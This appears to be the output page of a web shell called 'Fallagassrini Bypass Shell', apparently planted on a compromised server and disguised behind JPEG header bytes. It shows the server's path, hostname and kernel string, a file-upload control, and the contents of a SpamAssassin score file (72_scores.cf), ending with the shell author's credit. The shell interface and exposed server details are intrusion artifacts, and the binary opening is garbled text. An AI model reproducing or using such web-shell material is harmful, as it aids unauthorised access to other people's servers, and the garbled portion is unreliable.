JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /usr/share/spamassassin/

Linux server.meentosys.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Upload File :
Current File : //usr/share/spamassassin/72_scores.cf

score AC_HTML_NONSENSE_TAGS                 0.510 0.001 0.510 0.001
score ADVANCE_FEE_2_NEW_FORM                0.844 1.500 0.844 1.500
score ADVANCE_FEE_2_NEW_FRM_MNY             1.382 0.351 1.382 0.351
score ADVANCE_FEE_2_NEW_MONEY               3.753 2.257 3.753 2.257
score ADVANCE_FEE_3_NEW                     1.801 0.001 1.801 0.001
score ADVANCE_FEE_3_NEW_FORM                1.940 2.324 1.940 2.324
score ADVANCE_FEE_3_NEW_FRM_MNY             3.421 1.353 3.421 1.353
score ADVANCE_FEE_3_NEW_MONEY               0.905 0.001 0.905 0.001
score ADVANCE_FEE_4_NEW                     0.001 0.001 0.001 0.001
score ADVANCE_FEE_4_NEW_FORM                0.001 0.001 0.001 0.001
score ADVANCE_FEE_4_NEW_FRM_MNY             2.070 0.001 2.070 0.001
score ADVANCE_FEE_4_NEW_MONEY               2.759 2.198 2.759 2.198
score ADVANCE_FEE_5_NEW                     0.001 0.001 0.001 0.001
score ADVANCE_FEE_5_NEW_FORM                0.001 0.001 0.001 0.001
score ADVANCE_FEE_5_NEW_FRM_MNY             3.482 0.761 3.482 0.761
score ADVANCE_FEE_5_NEW_MONEY               1.178 1.472 1.178 1.472
score AXB_3LITTLE_PIGS                      1.291 1.297 1.291 1.297
score AXB_BODYMAIL_SBL112884                2.696 2.699 2.696 2.699
score AXB_ONMS_LEAKS                        3.795 3.799 3.795 3.799
score AXB_XMAILER_MIMEOLE_OL_024C2          1.697 2.201 1.697 2.201
score AXB_XMAILER_MIMEOLE_OL_1ECD5          2.611 2.018 2.611 2.018
score AXB_XMA_BASP                          2.599 2.599 2.599 2.599
score AXB_XM_FORGED_OL2600                  0.268 1.370 0.268 1.370
score AXB_X_FF_SEZ_S                        3.795 3.800 3.795 3.800
score BIGNUM_EMAILS                         0.001 0.327 0.001 0.327
score BILLION_OVERLAP                       -0.999 -0.536 -0.999 -0.536
score BITLY_URI                             2.247 2.249 2.247 2.249
score BODY_EMPTY                            2.996 2.999 2.996 2.999
score CK_HELO_DYNAMIC_SPLIT_IP              1.499 0.001 1.499 0.001
score CK_HELO_GENERIC                       0.248 0.249 0.248 0.249
score CN_B2B_SPAMMER                        2.796 2.799 2.796 2.799
score COMMENT_GIBBERISH                     0.999 0.999 0.999 0.999
score COMPENSATION                          1.498 1.499 1.498 1.499
score DATE_DOTS                             1.530 3.052 1.530 3.052
score DATE_IN_FUTURE_96_Q                   2.696 2.599 2.696 2.599
score DATE_IN_FUTURE_Q_PLUS                 2.497 2.399 2.497 2.399
score DEAR_BENEFICIARY                      3.996 3.490 3.996 3.490
score DEAR_EMAIL_USER                       2.597 0.001 2.597 0.001
score DEAR_NOBODY                           0.001 2.620 0.001 2.620
score DSN_NO_MIMEVERSION                    1.998 1.999 1.998 1.999
score EMAIL_URI_PHISH                       3.996 3.999 3.996 3.999
score EMRCP                                 3.595 2.254 3.595 2.254
score FBI_MONEY                             0.311 1.263 0.311 1.263
score FBI_SPOOF                             1.999 1.981 1.999 1.981
score FH_FAKE_RCVD_LINE                     2.830 2.299 2.830 2.299
score FH_FROM_START_YOU                     2.596 1.848 2.596 1.848
score FH_HELO_ALMOST_IP                     2.796 2.700 2.796 2.700
score FH_HOST_EQ_DYNAMICIP                  2.499 1.091 2.499 1.091
score FILL_THIS_FORM                        0.001 0.001 0.001 0.001
score FM_LOTTO_MONEY                        0.001 0.001 0.001 0.001
score FM_LOTTO_YOU_WON                      2.979 1.492 2.979 1.492
score FORM_FRAUD_3                          2.418 2.517 2.418 2.517
score FORM_FRAUD_5                          0.001 0.001 0.001 0.001
score FROM_12LTRDOM                         0.099 0.100 0.099 0.100
score FROM_MISSPACED                        0.330 1.167 0.330 1.167
score FROM_MISSP_DYNIP                      1.459 3.599 1.459 3.599
score FROM_MISSP_EH_MATCH                   0.912 1.795 0.912 1.795
score FROM_MISSP_FREEMAIL                   4.295 4.300 4.295 4.300
score FROM_MISSP_MSFT                       1.972 2.323 1.972 2.323
score FROM_MISSP_PHISH                      3.709 0.141 3.709 0.141
score FROM_MISSP_REPLYTO                    3.624 1.337 3.624 1.337
score FROM_MISSP_SPF_FAIL                   0.001 1.802 0.001 1.802
score FROM_MISSP_TO_UNDISC                  4.395 4.500 4.395 4.500
score FROM_MISSP_USER                       1.160 0.719 1.160 0.719
score FROM_WSP_LEAD                         3.396 2.999 3.396 2.999
score FR_ALMOST_VIAG2                       2.696 2.212 2.696 2.212
score FSL_CTYPE_WIN1251                     4.495 4.499 4.495 4.499
score FSL_HELO_BARE_IP_2                    1.997 1.539 1.997 1.539
score FSL_HELO_FAKE                         2.896 2.799 2.896 2.799
score FSL_HELO_FIREWALL                     2.696 2.599 2.696 2.599
score FSL_MID_419                           1.557 2.040 1.557 2.040
score FSL_MISSP_REPLYTO                     2.045 2.501 2.045 2.501
score FSL_MY_NAME_IS                        0.001 2.613 0.001 2.613
score FSL_NEW_HELO_USER                     2.086 0.808 2.086 0.808
score FS_CHEAP_CAP                          2.596 1.280 2.596 1.280
score FU_ENDS_SG                            2.697 2.599 2.697 2.599
score GOOGLE_DOCS_PHISH                     1.000 1.000 1.000 1.000
score GOOGLE_DOCS_PHISH_MANY                1.000 1.000 1.000 1.000
score HK_LOTTO                              0.602 0.593 0.602 0.593
score HK_LOTTO_NAME                         0.001 0.999 0.001 0.999
score HK_NAME_FM_DR                         1.498 1.499 1.498 1.499
score HK_NAME_FM_FROM                       1.315 1.500 1.315 1.500
score HK_NAME_FM_MR_MRS                     1.498 1.500 1.498 1.500
score HK_NAME_FROM                          0.998 0.999 0.998 0.999
score HK_NAME_MR_MRS                        0.998 0.001 0.998 0.001
score HK_SCAM_N1                            1.501 2.458 1.501 2.458
score HK_SCAM_N13                           3.496 0.001 3.496 0.001
score HK_SCAM_N15                           0.869 0.542 0.869 0.542
score HK_SCAM_N2                            3.556 2.953 3.556 2.953
score HK_SCAM_N3                            0.001 2.608 0.001 2.608
score HK_SCAM_N8                            0.393 0.001 0.393 0.001
score HK_SCAM_S15                           2.599 0.743 2.599 0.743
score HK_SCAM_S25                           1.028 2.040 1.028 2.040
score HK_SCAM_S7                            3.496 2.401 3.496 2.401
score HK_SPAMMY_FILENAME                    2.082 2.063 2.082 2.063
score KHOP_BIG_TO_CC                        2.897 0.001 2.897 0.001
score LOTS_OF_MONEY                         0.001 0.001 0.001 0.001
score LOTTO_AGENT                           0.001 3.499 0.001 3.499
score LOTTO_AGENT_RPLY                      1.159 0.345 1.159 0.345
score LOTTO_DEPT                            0.001 0.001 0.001 0.001
score MANY_SPAN_IN_TEXT                     0.001 0.001 0.001 0.001
score MONEY_ATM_CARD                        2.711 2.529 2.711 2.529
score MONEY_FORM                            0.001 0.001 0.001 0.001
score MONEY_FORM_SHORT                      2.249 1.000 2.249 1.000
score MONEY_FRAUD_3                         3.472 4.399 3.472 4.399
score MONEY_FRAUD_5                         2.863 4.299 2.863 4.299
score MONEY_FROM_41                         1.997 1.999 1.997 1.999
score MONEY_FROM_MISSP                      1.997 1.651 1.997 1.651
score MSGID_NOFQDN1                         1.104 3.199 1.104 3.199
score NSL_RCVD_FROM_USER                    0.898 3.134 0.898 3.134
score NSL_RCVD_HELO_USER                    3.341 3.409 3.341 3.409
score OBFU_ATTACH_MISSP                     2.812 1.668 2.812 1.668
score OBFU_TEXT_ATTACH                      2.506 3.299 2.506 3.299
score PHP_NOVER_MUA                         3.496 3.499 3.496 3.499
score RCVD_IN_MSPIKE_BL                     0.001 0.010 0.001 0.010
score RCVD_IN_MSPIKE_H2                     0.001 -0.001 0.001 -0.001
score RCVD_IN_MSPIKE_H3                     0.001 -0.010 0.001 -0.010
score RCVD_IN_MSPIKE_H4                     0.001 -0.010 0.001 -0.010
score RCVD_IN_MSPIKE_H5                     0.001 -1.000 0.001 -1.000
score RCVD_IN_MSPIKE_L2                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_L3                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_L4                     0.001 0.001 0.001 0.001
score RCVD_IN_MSPIKE_L5                     0.001 2.373 0.001 2.373
score RCVD_IN_MSPIKE_WL                     0.001 -0.010 0.001 -0.010
score RCVD_IN_MSPIKE_ZBI                    0.001 0.001 0.001 0.001
score RISK_FREE                             2.594 3.499 2.594 3.499
score RP_MATCHES_RCVD                       -1.501 -0.550 -1.501 -0.550
score SHARE_50_50                           0.001 1.924 0.001 1.924
score SINGLE_HEADER_2K                      0.001 1.717 0.001 1.717
score SINGLE_HEADER_3K                      0.001 3.015 0.001 3.015
score SINGLE_HEADER_4K                      0.001 1.981 0.001 1.981
score STYLE_GIBBERISH                       1.794 3.013 1.794 3.013
score SUBJ_ATTENTION                        0.001 0.001 0.001 0.001
score TAB_IN_FROM                           0.001 0.001 0.001 0.001
score TO_EQ_FM_DOM_SPF_FAIL                 0.001 0.001 0.001 0.001
score TO_EQ_FM_HTML_ONLY                    2.785 2.999 2.785 2.999
score TO_EQ_FM_SPF_FAIL                     0.001 0.001 0.001 0.001
score TO_IN_SUBJ                            2.996 2.899 2.996 2.899
score TO_NO_BRKTS_FROM_MSSP                 2.497 2.499 2.497 2.499
score TO_NO_BRKTS_MSFT                      3.497 3.499 3.497 3.499
score TO_NO_BRKTS_PCNT                      1.082 1.647 1.082 1.647
score TVD_FROM_1                            0.998 0.999 0.998 0.999
score TVD_PH_BODY_META                      1.501 3.499 1.501 3.499
score XM_PHPMAILER_FORGED                   2.497 0.001 2.497 0.001
score YOUR_PERMISSION                       0.001 0.001 0.001 0.001

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net